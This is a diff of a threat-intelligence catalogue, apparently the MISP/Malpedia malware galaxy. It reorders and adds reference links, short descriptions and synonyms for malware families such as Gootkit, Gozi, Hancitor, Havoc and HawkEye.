"https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon", - "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", - "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", + "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "https://www.youtube.com/watch?v=rfzmHjZX70s", "https://asec.ahnlab.com/en/31089/", - "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html" + "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf" ], "synonyms": [ "Lovexxx" @@ -24960,8 +26422,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gomorrah_stealer", - "https://github.com/jstrosch/malware-samples/tree/master/binaries/gomorrah/2020/April", - "https://twitter.com/vxunderground/status/1469713783308357633" + "https://twitter.com/vxunderground/status/1469713783308357633", + "https://github.com/jstrosch/malware-samples/tree/master/binaries/gomorrah/2020/April" ], "synonyms": [], "type": [] @@ -24974,9 +26436,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goodor", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", "https://norfolkinfosec.com/a-new-look-at-old-dragonfly-malware-goodor/", - "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control" + "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks" ], "synonyms": [ "Fuerboos" @@ -25013,45 +26475,47 @@ "value": "GooPic Drooper" }, { - "description": "Gootkit is a banking trojan, where large parts are written in javascript (node.JS). It jumps to C/C++-library functions for various tasks.", + "description": "Gootkit is a banking trojan consisting of an x86 loader and a payload embedding nodejs as well as a set of js scripts. The loader downloads the payload, stores it in registry and injects it in a copy of the loader process. The loader also contains two encrypted DLLs intended to be injected into each browser process launched in order to place the payload in man in the browser and allow it to apply the webinjects received from the command and control server on HTTPx exchanges. This allows Gootkit to intercept HTTPx requests and responses, steal their content or modify it according to the webinjects.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit", - "https://labs.sentinelone.com/gootkit-banking-trojan-deep-dive-anti-analysis-features/", - "https://www.certego.net/en/news/malware-tales-gootkit/", - "https://www.youtube.com/watch?v=242Tn0IL2jE", - "https://dannyquist.github.io/gootkit-reversing-ghidra/", - "https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/", - "https://www.us-cert.gov/ncas/alerts/TA16-336A", - "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", - "https://www.sentinelone.com/blog/gootkit-banking-trojan-deep-dive-anti-analysis-features/", - "https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/", - "https://connect.ed-diamond.com/MISC/MISC-100/Analyse-du-malware-bancaire-Gootkit-et-de-ses-mecanismes-de-protection", - "https://www.trendmicro.com/en_us/research/20/l/investigating-the-gootkit-loader.html", - "https://www.youtube.com/watch?v=QgUlPvEE4aw", - "https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/", - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", - "http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html", - "https://securelist.com/gootkit-the-cautious-trojan/102731/", - "https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/?cmp=30728", - "https://news.drweb.com/show/?i=4338&lng=en", - "https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps", - "http://www.vkremez.com/2018/04/lets-learn-in-depth-dive-into-gootkit.html", - "https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/", - "https://twitter.com/jhencinski/status/1464268732096815105", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan", - "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", - "https://twitter.com/MsftSecIntel/status/1366542130731094021", - "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", - "https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html", - "https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/", - "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Delivery/Gootkit-malware.md", + "https://securelist.com/gootkit-the-cautious-trojan/102731/", + "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://www.certego.net/en/news/malware-tales-gootkit/", + "https://www.trendmicro.com/en_us/research/20/l/investigating-the-gootkit-loader.html", "http://blog.trendmicro.com/trendlabs-security-intelligence/fake-judicial-spam-leads-to-backdoor-with-fake-certificate-authority/", - "https://forums.juniper.net/t5/Security-Now/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055" + "https://5556002.fs1.hubspotusercontent-na1.net/hubfs/5556002/2022%20PDF%20Download%20Assets/ADA%20Compliant%20pdfs/Reports/PUBLIC_Gootloader%20-%20Foreign%20Intelligence%20Service.pdf", + "https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/", + "https://www.sentinelone.com/blog/gootkit-banking-trojan-deep-dive-anti-analysis-features/", + "https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/", + "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", + "https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html", + "https://twitter.com/MsftSecIntel/status/1366542130731094021", + "https://www.trendmicro.com/en_us/research/23/a/gootkit-loader-actively-targets-the-australian-healthcare-indust.html", + "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", + "https://www.youtube.com/watch?v=QgUlPvEE4aw", + "https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/", + "https://www.youtube.com/watch?v=242Tn0IL2jE", + "https://connect.ed-diamond.com/MISC/MISC-100/Analyse-du-malware-bancaire-Gootkit-et-de-ses-mecanismes-de-protection", + "https://dannyquist.github.io/gootkit-reversing-ghidra/", + "https://news.drweb.com/show/?i=4338&lng=en", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/", + "https://forums.juniper.net/t5/Security-Now/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055", + "https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan", + "http://www.vkremez.com/2018/04/lets-learn-in-depth-dive-into-gootkit.html", + "https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html", + "https://twitter.com/jhencinski/status/1464268732096815105", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://labs.sentinelone.com/gootkit-banking-trojan-deep-dive-anti-analysis-features/", + "https://www.us-cert.gov/ncas/alerts/TA16-336A", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/?cmp=30728" ], "synonyms": [ "Waldek", @@ -25060,15 +26524,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "07ffcf9f-b9c0-4b22-af4b-78527427e6f5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "329efac7-922e-4d8b-90a9-4a87c3281753", "value": "GootKit" }, @@ -25086,6 +26541,20 @@ "uuid": "fb2e42bf-6845-4eb3-9fe7-85a447762bce", "value": "Gophe" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.gopuram", + "https://twitter.com/kucher1n/status/1642886340105601029?t=3GCn-ZhDjqWEMXya_PKseg", + "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6dc4e71e-7372-4287-bdee-04da17a0d275", + "value": "Gopuram" + }, { "description": "", "meta": { @@ -25117,23 +26586,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", - "https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html", - "https://www.secureworks.com/research/threat-profiles/gold-swathmore", - "https://www.youtube.com/watch?v=BcFbkjUVc7o", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://github.com/mlodic/ursnif_beacon_decryptor", - "https://lokalhost.pl/gozi_tree.txt", - "https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007", - "http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/", + "https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/", "https://www.secureworks.com/research/gozi", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + "https://lokalhost.pl/gozi_tree.txt", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/gozi-italian-shellcode-dance", + "https://medium.com/csis-techblog/chapter-1-from-gozi-to-isfb-the-history-of-a-mythical-malware-family-82e592577fef", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.youtube.com/watch?v=BcFbkjUVc7o", + "https://github.com/mlodic/ursnif_beacon_decryptor", + "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/", + "https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007", + "http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [ "CRM", @@ -25152,10 +26623,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode", - "https://www.symantec.com/security_response/writeup.jsp?docid=2007-071711-3132-99&tabid=2", - "http://www.zdnet.com/article/whos-behind-the-gpcode-ransomware/", "https://de.securelist.com/analysis/59479/erpresser/", - "http://www.xylibox.com/2011/01/gpcode-ransomware-2010-simple-analysis.html" + "https://www.symantec.com/security_response/writeup.jsp?docid=2007-071711-3132-99&tabid=2", + "http://www.xylibox.com/2011/01/gpcode-ransomware-2010-simple-analysis.html", + "http://www.zdnet.com/article/whos-behind-the-gpcode-ransomware/" ], "synonyms": [], "type": [] @@ -25194,10 +26665,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gramdoor", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", - "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", - "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html" + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf" ], "synonyms": [ "Small Sieve" @@ -25212,15 +26683,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grandoreiro", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/grandoreiro-banking-malware-resurfaces-for-tax-season", - "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853", + "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "https://www.zscaler.com/blogs/security-research/grandoreiro-banking-trojan-new-ttps-targeting-various-industry-verticals", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/grandoreiro-banking-malware-resurfaces-for-tax-season", "https://seguranca-informatica.pt/the-updated-grandoreiro-malware-equipped-with-latenbot-c2-features-in-q2-2020-now-extended-to-portuguese-banks", + "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://blueliv.com/resources/reports/MiniReport-Blueliv-Bancos-ESP-LAT.pdf", - "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/", - "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", - "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/" + "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/" ], "synonyms": [], "type": [] @@ -25241,12 +26712,41 @@ "uuid": "626de4fc-cfa4-4fbc-ab35-4c9ab9fdec14", "value": "GrandSteal" }, + { + "description": "This loader abuses the benign service Notion for data exchange.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphical_neutrino", + "https://go.recordedfuture.com/hubfs/reports/cta-2023-0127.pdf", + "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58", + "https://blogs.blackberry.com/en/2023/03/nobelium-targets-eu-governments-assisting-ukraine" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cb92a200-b4f0-4983-8d5d-6bf529b66da9", + "value": "GraphicalNeutrino" + }, + { + "description": "Downloader / information stealer used by UAC-0056, observed since at least October 2022.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphiron", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nodaria-ukraine-infostealer" + ], + "synonyms": [], + "type": [] + }, + "uuid": "968e330d-281e-4647-99fd-d9903aa6bbba", + "value": "Graphiron" + }, { "description": "Trellix describes Graphite as a malware using the Microsoft Graph API and OneDrive for C&C. It was found being deployed in-memory only and served as a downloader for Empire.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphite", - "https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html" + "https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html", + "https://blog.cluster25.duskrise.com/2022/09/23/in-the-footsteps-of-the-fancy-bear-powerpoint-graphite/" ], "synonyms": [], "type": [] @@ -25272,16 +26772,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel", - "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://cert.gov.ua/article/38374", - "https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/", - "https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830", "https://www.mandiant.com/resources/spear-phish-ukrainian-entities", - "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/", + "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://cert.gov.ua/article/38374", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830", + "https://businessinsights.bitdefender.com/deep-dive-into-the-elephant-framework-a-new-cyber-threat-in-ukraine", + "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/" ], "synonyms": [], "type": [] @@ -25294,16 +26795,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos", - "http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html", - "https://norfolkinfosec.com/pos-malware-used-at-fuel-pumps/", "https://content.fireeye.com/m-trends/rpt-m-trends-2020", - "https://usa.visa.com/dam/VCOM/global/support-legal/documents/cybercrime-groups-targeting-fuel-dispenser-merchants.pdf", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://redcanary.com/blog/frameworkpos-and-the-adequate-persistent-threat/", "http://www.secureworks.com/research/threat-profiles/gold-franklin", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season" + "https://redcanary.com/blog/frameworkpos-and-the-adequate-persistent-threat/", + "https://usa.visa.com/dam/VCOM/global/support-legal/documents/cybercrime-groups-targeting-fuel-dispenser-merchants.pdf", + "https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season", + "https://norfolkinfosec.com/pos-malware-used-at-fuel-pumps/", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", + "http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html" ], "synonyms": [ "FrameworkPOS", @@ -25333,8 +26834,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gravity_rat", "https://www.virusbulletin.com/blog/2018/04/gravityrat-malware-takes-your-systems-temperature/", - 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"https://blog.group-ib.com/hancitor-cuba-ransomware" + "https://www.vmray.com/cyber-security-blog/hancitor-multi-step-delivery-process-malware-analysis-spotlight/", + "https://fidelissecurity.com/threatgeek/archive/me-and-mr-robot-tracking-actor-behind-man1-crypter/", + "https://blog.group-ib.com/hancitor-cuba-ransomware", + "https://muha2xmad.github.io/unpacking/hancitor/", + "https://medium.com/@crovax/extracting-hancitors-configuration-with-ghidra-7963900494b5", + "https://twitter.com/TheDFIRReport/status/1359669513520873473", + "https://blog.group-ib.com/prometheus-tds", + "https://thedfirreport.com/2021/06/28/hancitor-continues-to-push-cobalt-strike/", + "https://www.vkremez.com/2018/11/lets-learn-in-depth-reversing-of.html", + "https://malware-traffic-analysis.net/2021/09/29/index.html", + "https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-analysing-the-main-loader/", + "https://www.dodgethissecurity.com/2019/11/01/hancitor-evasive-new-waves-and-how-com-objects-can-use-cached-credentials-for-proxy-authentication/", + "https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear", + "https://blog.group-ib.com/switching-side-jobs", + "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html", + "https://www.silentpush.com/blog/pivoting-finding-malware-domains-without-seeing-malicious-activity", + "https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/", + "https://0ffset.net/reverse-engineering/malware-analysis/reversing-hancitor-again/", + "https://researchcenter.paloaltonetworks.com/2016/08/unit42-vb-dropper-and-shellcode-for-hancitor-reveal-new-techniques-behind-uptick/", + "https://researchcenter.paloaltonetworks.com/2018/02/unit42-compromised-servers-fraud-accounts-recent-hancitor-attacks/", + "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", + "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618" ], "synonyms": [ "Chanitor" ], "type": [] }, - "related": [ - { - "dest-uuid": "ff0404a1-465f-4dd5-8b66-ee773628ca64", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "4166ab63-24b0-4448-92ea-21c8deef978d", "value": "Hancitor" }, @@ -25729,8 +27226,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hardrain", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf" ], "synonyms": [], "type": [] @@ -25743,8 +27240,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig", - "https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html", - "https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html" + "https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html", + "https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html" ], "synonyms": [ "Piptea" @@ -25786,28 +27283,38 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat", - "https://www.f-secure.com/weblog/archives/00002718.html", "https://www.cisa.gov/uscert/ncas/alerts/aa22-083a", - "https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/", - "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://www.secureworks.com/research/threat-profiles/iron-liberty" + "https://www.f-secure.com/weblog/archives/00002718.html", + "https://www.secureworks.com/research/threat-profiles/iron-liberty", + "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", + "https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d7183f66-59ec-4803-be20-237b442259fc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "c04fc02e-f35a-44b6-a9b0-732bf2fc551a", "value": "Havex RAT" }, + { + "description": "Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.havoc", + "https://www.zscaler.com/blogs/security-research/havoc-across-cyberspace", + "https://twitter.com/embee_research/status/1579668721777643520?s=20&t=nDJOv1Yf5mQZKCou7qMrhQ", + "https://github.com/HavocFramework/Havoc", + "https://www.youtube.com/watch?v=ErPKP4Ms28s", + "https://4pfsec.com/havoc-c2-first-look/" + ], + "synonyms": [ + "Havokiz" + ], + "type": [] + }, + "uuid": "ddbcedee-ac3e-45d3-be2c-d7315d83e6a6", + "value": "Havoc" + }, { "description": "HAWKBALL is a backdoor that attackers can use to collect information from the victim, as well as to deliver payloads. HAWKBALL is capable of surveying the host, creating a named pipe to execute native Windows commands, terminating processes, creating, deleting and uploading files, searching for files, and enumerating drives.", "meta": { @@ -25826,26 +27333,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkeye_keylogger", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/How-I-Cracked-a-Keylogger-and-Ended-Up-in-Someone-s-Inbox/", - "https://www.secureworks.com/research/threat-profiles/gold-galleon", - "http://stopmalvertising.com/malware-reports/analysis-of-the-predator-pain-keylogger.html", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://researchcenter.paloaltonetworks.com/2015/10/surveillance-malware-trends-tracking-predator-pain-and-hawkeye/", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/covid-19-cybercrime-m00nd3v-hawkeye-malware-threat-actor/", "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - "https://www.fortinet.com/blog/threat-research/hawkeye-malware-analysis.html", - "https://nakedsecurity.sophos.com/2016/02/29/the-hawkeye-attack-how-cybercrooks-target-small-businesses-for-big-money/", - "https://blog.talosintelligence.com/2019/04/hawkeye-reborn.html", - "https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/", - "http://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://www.cyberbit.com/blog/endpoint-security/hawkeye-malware-keylogging-technique/", - "https://www.cyberbit.com/hawkeye-malware-keylogging-technique/", + "https://www.secureworks.com/research/threat-profiles/gold-galleon", + "https://researchcenter.paloaltonetworks.com/2015/10/surveillance-malware-trends-tracking-predator-pain-and-hawkeye/", "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html", + "https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/", + "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/covid-19-cybercrime-m00nd3v-hawkeye-malware-threat-actor/", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://www.cyberbit.com/blog/endpoint-security/hawkeye-malware-keylogging-technique/", + "https://nakedsecurity.sophos.com/2016/02/29/the-hawkeye-attack-how-cybercrooks-target-small-businesses-for-big-money/", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/How-I-Cracked-a-Keylogger-and-Ended-Up-in-Someone-s-Inbox/", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/HawkEye/HawkEye.md", "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", + "https://www.fortinet.com/blog/threat-research/hawkeye-malware-analysis.html", + "https://blog.talosintelligence.com/2019/04/hawkeye-reborn.html", "https://www.govcert.ch/blog/analysis-of-an-unusual-hawkeye-sample/", - "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/HawkEye/HawkEye.md" + "https://www.cyberbit.com/hawkeye-malware-keylogging-technique/", + "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", + "http://stopmalvertising.com/malware-reports/analysis-of-the-predator-pain-keylogger.html", + "http://www.secureworks.com/research/threat-profiles/gold-galleon" ], "synonyms": [ "HawkEye", @@ -25862,8 +27370,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hdmr", - "https://twitter.com/malwrhunterteam/status/1205096379711918080/photo/1", - "http://id-ransomware.blogspot.com/2019/10/hdmr-ransomware.html" + 